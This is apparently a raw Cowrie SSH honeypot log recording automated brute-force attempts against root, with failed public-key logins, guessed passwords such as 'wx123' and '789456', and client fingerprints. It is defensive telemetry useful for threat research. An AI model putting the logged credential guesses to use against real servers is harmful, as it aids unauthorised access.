{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d8:1d:73:35:3b:a1:34:ba:d6:db:99:d0:69:7a:55:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCg6elKsPl0cxe95eHMigbmvQR1TSzqXUdaWitz8AV7gvtJnfz16i84kw/6eVGNygmqSw44ljVb3cnf8UZZ//jiZSRYNzEwhJfQLd5sXQRpcJfb9+RmxP3FA+uCSI8Kp80Wh3z+rfOz+RMmI2ZOR9Oscntxjp/v4FjS+BlK5HYFo8a7UrYc/pYxr+38EDU5PcPFVchHMNwq5hw6YWywwaf4wRQ8sEWU80Yknd5fk55B7MaxsYOiH0CghKUOiHQzklEQWBQ0cB/kYBdXtBR0bLpA30K3zuGaZgeJiWEwU+1na7/4GjAlaBKRZkYuoha1xVGKUW1TsUacZuL3rwy4hVcGjjFQkZYY/6poTaUgjJ9xsUTwYBx6dLF619S87flaRO42bL7HLE1Bg0UvPNv0kw+j6hecaHMoOZCTqFhneWHTjHrvp8zQTz0+7aCLfLjQybPGRfb3hsBFCSfBALR4g9N/5FtOws0OQEl0/A8NhEe5Ye92j9Whfg4Do0JMLbptkWU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:23.842195Z","src_ip":"128.0.104.39","session":"36f59066669a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e5:eb:8b:7d:5c:25:b3:24:ce:54:b0:37:8d:94:26:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfbF0NAlwHCyKZ8hfgxbAumc0Ys5D0H6nRGF4fd4rRH7p6FLj9lSE8FXnnqJ+KKzolPlxQNrgkakx73JTmLEzyu4/bW3eEq6A3Tt/Doz6lygO5TxWgTSmY0XvAjT4uqHToPZMyU4bG9WTT5WxgiFQGd9vsDWjf4ZIRZQnw3BL9n0ankKm0aJpaaxUeKf/AXkY+c9O+hQ6/EgFcXapw1fJR+kS/UV9+iy3OqxMGLUgDEhc+8Y3tsr3s7/vg3h9A0ph+729AUr50noc9YkzeWD87mdMeJRx3te9l8T828gL87FIfLitO+cXIvU6wADfO1YCmUYu7Ni5PnZaM/cfKXUKldtzusonPQSWrK0tarUUNz0LvRHcbydLXWVu6bEcrCBUoC1SOmwyfVIIi3SSMJTW8pnfznPzxH6GvwBfX7frje5ijYJyeMxaQLy9B/vHV8bZhaAXVOr73rt+IbrwA7Xza5xu54PZD9vRXdVHE+QMjw2++4w0SrboiS5KiFfVcac0rfEefNmBgdCvRd2NYZ6zsSBOpibWpLtKeTgNZWtaV+K5JP0SzGgNUTrFlpO8bvLyWtRyaJfaPBRjvntYXkvUf2RtNXdgxMb9TtgRJ3UWkHHtW9hxYSG90oplUZ/Muh6czSb0UASAX6CtVi0IDOxwtNoH4vLPto2WRDs1Rut/wEw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e5:eb:8b:7d:5c:25:b3:24:ce:54:b0:37:8d:94:26:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:23.965446Z","src_ip":"128.0.104.39","session":"36f59066669a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e5:eb:8b:7d:5c:25:b3:24:ce:54:b0:37:8d:94:26:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfbF0NAlwHCyKZ8hfgxbAumc0Ys5D0H6nRGF4fd4rRH7p6FLj9lSE8FXnnqJ+KKzolPlxQNrgkakx73JTmLEzyu4/bW3eEq6A3Tt/Doz6lygO5TxWgTSmY0XvAjT4uqHToPZMyU4bG9WTT5WxgiFQGd9vsDWjf4ZIRZQnw3BL9n0ankKm0aJpaaxUeKf/AXkY+c9O+hQ6/EgFcXapw1fJR+kS/UV9+iy3OqxMGLUgDEhc+8Y3tsr3s7/vg3h9A0ph+729AUr50noc9YkzeWD87mdMeJRx3te9l8T828gL87FIfLitO+cXIvU6wADfO1YCmUYu7Ni5PnZaM/cfKXUKldtzusonPQSWrK0tarUUNz0LvRHcbydLXWVu6bEcrCBUoC1SOmwyfVIIi3SSMJTW8pnfznPzxH6GvwBfX7frje5ijYJyeMxaQLy9B/vHV8bZhaAXVOr73rt+IbrwA7Xza5xu54PZD9vRXdVHE+QMjw2++4w0SrboiS5KiFfVcac0rfEefNmBgdCvRd2NYZ6zsSBOpibWpLtKeTgNZWtaV+K5JP0SzGgNUTrFlpO8bvLyWtRyaJfaPBRjvntYXkvUf2RtNXdgxMb9TtgRJ3UWkHHtW9hxYSG90oplUZ/Muh6czSb0UASAX6CtVi0IDOxwtNoH4vLPto2WRDs1Rut/wEw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:23.969502Z","src_ip":"128.0.104.39","session":"36f59066669a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:14:75:a2:95:d6:80:2c:5e:f0:f3:b0:27:56:9d:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3yiW40tmkgKFVU2RaErTRHO8x93l001xEhU62vnRDCL+3RFlR7scl95paZzAKOzfyKV1zseYSdpnya0tqLDV6D8csuMUjjCi5XYVwinvOD2WXAsmujH1fLe+Vhze70A06dTZBA/MuZ2m7MfoU2zfQm4s2B51MpBU/OMxn7niHQkLB+UxuBwsNTKvxjdKMN8EDBj5uHB6Kr83mOdoYM4afO/wXttGpl8NYZtffuLnQVKtOTfWQz4YGCygnX5PAA+1D5FgUffp8O63urpUYsy5QRmo0ZA82/p9qj0MIav8SsvfOO3mMm/0fDbZjT4XnBts54m3hAXs9XSQzAvuSP3xUtkfmkUNTDBHsT+jFm7P9uX/mL0Ss18CFOL+cbxN6j5Q4HknxX2JJeo5DUUrtrijX+VIkfzHXVHOKh0uf6nT8V5tG1eqazr24cSVl6DG2elhGPoBMYF8NYGNebo6VhlxB8ekI0EtSTlu/6EhBUWCUTVRI3sITfO1+YBHNIpI6JXSefRjgK1z+Ew38A5uJwl/Be0MAYlL8FoGl3sivxoebI2dDaJaKDqlHI/Smhwv74HYG3y58rvc6+fznmm4CHa/oXnXly2skN3oqSYbXuZqKRaSIv1WYmUnXX6WfPLVxhQaoWP8KvawbktZ9DCLFUcoaQLgwZT453l9EbWRig/V71w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:14:75:a2:95:d6:80:2c:5e:f0:f3:b0:27:56:9d:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:24.092519Z","src_ip":"128.0.104.39","session":"36f59066669a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:14:75:a2:95:d6:80:2c:5e:f0:f3:b0:27:56:9d:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3yiW40tmkgKFVU2RaErTRHO8x93l001xEhU62vnRDCL+3RFlR7scl95paZzAKOzfyKV1zseYSdpnya0tqLDV6D8csuMUjjCi5XYVwinvOD2WXAsmujH1fLe+Vhze70A06dTZBA/MuZ2m7MfoU2zfQm4s2B51MpBU/OMxn7niHQkLB+UxuBwsNTKvxjdKMN8EDBj5uHB6Kr83mOdoYM4afO/wXttGpl8NYZtffuLnQVKtOTfWQz4YGCygnX5PAA+1D5FgUffp8O63urpUYsy5QRmo0ZA82/p9qj0MIav8SsvfOO3mMm/0fDbZjT4XnBts54m3hAXs9XSQzAvuSP3xUtkfmkUNTDBHsT+jFm7P9uX/mL0Ss18CFOL+cbxN6j5Q4HknxX2JJeo5DUUrtrijX+VIkfzHXVHOKh0uf6nT8V5tG1eqazr24cSVl6DG2elhGPoBMYF8NYGNebo6VhlxB8ekI0EtSTlu/6EhBUWCUTVRI3sITfO1+YBHNIpI6JXSefRjgK1z+Ew38A5uJwl/Be0MAYlL8FoGl3sivxoebI2dDaJaKDqlHI/Smhwv74HYG3y58rvc6+fznmm4CHa/oXnXly2skN3oqSYbXuZqKRaSIv1WYmUnXX6WfPLVxhQaoWP8KvawbktZ9DCLFUcoaQLgwZT453l9EbWRig/V71w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:24.095947Z","src_ip":"128.0.104.39","session":"36f59066669a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:72:bc:ec:58:fc:6b:22:a0:84:dd:09:26:02:00:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpuO/otyYZZsW6tDeie2Wb0vhHXMPDRaKOFA2LHWvKKmWIhc3zbe+Cy2mr54vV0ON819Cwca7LM4OJD5nVKF2cS7PggGIE31dj/5JHpCKb9F1eFQ+eRy3DUl/itR+gn8lAVl/adCJwVzeNBNuaQrryb8nEPiaYH9kcVlF9mmk1UOC3N+MaNNKNbG7D8TWoAGlmMak59feOc171B0TRKOe2ZvI0Q09a+ywRg9TUjRzWN7tgjvAQKKUN21kFnHWCgkgogjFw3ppYRL4qAlV9qs/PmY7LdsiV9oaHiypjIJR7GIWbT7JFnOisp52J34XPz8prui7yIGipv7L3byH0oHH3KvL7t2DaYT5qgnUxmOjLFjwdTSd9aq1ikvLkBnuUIc27hF3ofoGSfaWEXqU4D6Z2h4+5IR9uxIC069kn3B8Zeg8l7LD8AfQZgzNDH+Bdi2Pz9/Q6viif1xgi/1h8PKJ68thhhCMlH3Tq68o9chi4leQ2/XtGNDib5HCtYbesBAPlq/gMU2MLJ8dS2NjH+iPcc8X8QbpWrjV1kliMUOocHnYzCKDbVsuLdSVzkEz+IzQ4CCTyCnGPwIStOGOXnlVVbORbvDB3u7jgl8EygELrtz+aFIJxQgyEQBvD8k8njrzYwEgDGmeGkEqJwo3p8WDSQI/gAXOw/u76kyc15QF1jQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:72:bc:ec:58:fc:6b:22:a0:84:dd:09:26:02:00:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:24.220815Z","src_ip":"128.0.104.39","session":"36f59066669a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:72:bc:ec:58:fc:6b:22:a0:84:dd:09:26:02:00:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpuO/otyYZZsW6tDeie2Wb0vhHXMPDRaKOFA2LHWvKKmWIhc3zbe+Cy2mr54vV0ON819Cwca7LM4OJD5nVKF2cS7PggGIE31dj/5JHpCKb9F1eFQ+eRy3DUl/itR+gn8lAVl/adCJwVzeNBNuaQrryb8nEPiaYH9kcVlF9mmk1UOC3N+MaNNKNbG7D8TWoAGlmMak59feOc171B0TRKOe2ZvI0Q09a+ywRg9TUjRzWN7tgjvAQKKUN21kFnHWCgkgogjFw3ppYRL4qAlV9qs/PmY7LdsiV9oaHiypjIJR7GIWbT7JFnOisp52J34XPz8prui7yIGipv7L3byH0oHH3KvL7t2DaYT5qgnUxmOjLFjwdTSd9aq1ikvLkBnuUIc27hF3ofoGSfaWEXqU4D6Z2h4+5IR9uxIC069kn3B8Zeg8l7LD8AfQZgzNDH+Bdi2Pz9/Q6viif1xgi/1h8PKJ68thhhCMlH3Tq68o9chi4leQ2/XtGNDib5HCtYbesBAPlq/gMU2MLJ8dS2NjH+iPcc8X8QbpWrjV1kliMUOocHnYzCKDbVsuLdSVzkEz+IzQ4CCTyCnGPwIStOGOXnlVVbORbvDB3u7jgl8EygELrtz+aFIJxQgyEQBvD8k8njrzYwEgDGmeGkEqJwo3p8WDSQI/gAXOw/u76kyc15QF1jQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:24.225113Z","src_ip":"128.0.104.39","session":"36f59066669a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:ad:aa:d9:77:1f:19:22:f5:a6:d9:15:5b:9e:53:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3Haz0gDINolZu/KmMO3diWzo229NtBpRwfoCrhbF7eRfiAl86Ga6SJyg6DwDh4e9e2ttb//df2bfdmrohc7z+SCiSEX1hm6IN9guFKtYS4bvbXlEFb5vrPjLctQvp/cSb/jsYPSxbw/PgFWo4HNV4R0O1RYyzywTPTi1MkP99uRy8KVLHnMwIjWPtx5A0p8CiV1xRzRGJMrzuePgqz3xdr82ObMAFDG9K7au45zaEVPkR4ReaYbjFnR4aG07hJX7PmUSkiGrN0VTlM1fcQ3Hm0f2tRUHVIndbUkepj+nKV2pW229ZTStaGEsDkxZMK6ivFLbN1JTHDEi+Yli4kXVIi0f+PctgaOh2K9Hoh+ztwwWff8L/D0IS86Id7C0zrd+hQefgszuyKvmS+gJlMnx5cQpR1TRpFGWk5Fw9AtbYQ3xX+9Htr3pWtVqXhEvqfG8mPIX3pP3QNlEA1wBAj5vjNS8UGF6pw7i6sCjdi1wzVWNAayZkmjL9etdLUs88D88Ta34PxnxZQHVTZme7Yhgui4D3HpMtIH6WjqhossLtV/DdscXhLSZxXebyOClR1PCRj1Bqfzf0lkO+Bxl6WsyFsqcoHqYuLf7ecuRQ6BJDITuHO4NvuJfMt/hkf0IjI75x1Ze7JntKkART85j5zqLWG04G3Hgct3uIYG9mmBAWZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:ad:aa:d9:77:1f:19:22:f5:a6:d9:15:5b:9e:53:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:24.348993Z","src_ip":"128.0.104.39","session":"36f59066669a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:ad:aa:d9:77:1f:19:22:f5:a6:d9:15:5b:9e:53:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3Haz0gDINolZu/KmMO3diWzo229NtBpRwfoCrhbF7eRfiAl86Ga6SJyg6DwDh4e9e2ttb//df2bfdmrohc7z+SCiSEX1hm6IN9guFKtYS4bvbXlEFb5vrPjLctQvp/cSb/jsYPSxbw/PgFWo4HNV4R0O1RYyzywTPTi1MkP99uRy8KVLHnMwIjWPtx5A0p8CiV1xRzRGJMrzuePgqz3xdr82ObMAFDG9K7au45zaEVPkR4ReaYbjFnR4aG07hJX7PmUSkiGrN0VTlM1fcQ3Hm0f2tRUHVIndbUkepj+nKV2pW229ZTStaGEsDkxZMK6ivFLbN1JTHDEi+Yli4kXVIi0f+PctgaOh2K9Hoh+ztwwWff8L/D0IS86Id7C0zrd+hQefgszuyKvmS+gJlMnx5cQpR1TRpFGWk5Fw9AtbYQ3xX+9Htr3pWtVqXhEvqfG8mPIX3pP3QNlEA1wBAj5vjNS8UGF6pw7i6sCjdi1wzVWNAayZkmjL9etdLUs88D88Ta34PxnxZQHVTZme7Yhgui4D3HpMtIH6WjqhossLtV/DdscXhLSZxXebyOClR1PCRj1Bqfzf0lkO+Bxl6WsyFsqcoHqYuLf7ecuRQ6BJDITuHO4NvuJfMt/hkf0IjI75x1Ze7JntKkART85j5zqLWG04G3Hgct3uIYG9mmBAWZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:24.352939Z","src_ip":"128.0.104.39","session":"36f59066669a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:24.476978Z","src_ip":"128.0.104.39","session":"36f59066669a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":53426,"dst_ip":"159.203.135.109","dst_port":22,"session":"19cea296b6a9","protocol":"ssh","message":"New connection: 103.91.246.101:53426 (159.203.135.109:22) [session: 19cea296b6a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:32.925620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:32.929817Z","src_ip":"103.91.246.101","session":"19cea296b6a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:33.149867Z","src_ip":"103.91.246.101","session":"19cea296b6a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wx123","message":"login attempt [root/wx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:34.058299Z","src_ip":"103.91.246.101","session":"19cea296b6a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:35.282939Z","src_ip":"103.91.246.101","session":"19cea296b6a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.125.185","src_port":60998,"dst_ip":"159.203.135.109","dst_port":22,"session":"664f5a546cf5","protocol":"ssh","message":"New connection: 43.173.125.185:60998 (159.203.135.109:22) [session: 664f5a546cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:41.078830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:41.083019Z","src_ip":"43.173.125.185","session":"664f5a546cf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:41.151545Z","src_ip":"43.173.125.185","session":"664f5a546cf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arch","message":"login attempt [root/arch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:41.462987Z","src_ip":"43.173.125.185","session":"664f5a546cf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:42.534261Z","src_ip":"43.173.125.185","session":"664f5a546cf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":37258,"dst_ip":"159.203.135.109","dst_port":22,"session":"236ce0f8a8f1","protocol":"ssh","message":"New connection: 171.244.141.86:37258 (159.203.135.109:22) [session: 236ce0f8a8f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:50.848735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:50.853407Z","src_ip":"171.244.141.86","session":"236ce0f8a8f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:51.096395Z","src_ip":"171.244.141.86","session":"236ce0f8a8f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789456","message":"login attempt [root/789456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:52.094772Z","src_ip":"171.244.141.86","session":"236ce0f8a8f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:53.340741Z","src_ip":"171.244.141.86","session":"236ce0f8a8f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":49036,"dst_ip":"159.203.135.109","dst_port":22,"session":"029c9fba2a91","protocol":"ssh","message":"New connection: 170.106.188.200:49036 (159.203.135.109:22) [session: 029c9fba2a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:55.342892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:55.348599Z","src_ip":"170.106.188.200","session":"029c9fba2a91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:28:55.417596Z","src_ip":"170.106.188.200","session":"029c9fba2a91","protocol":"ssh"}
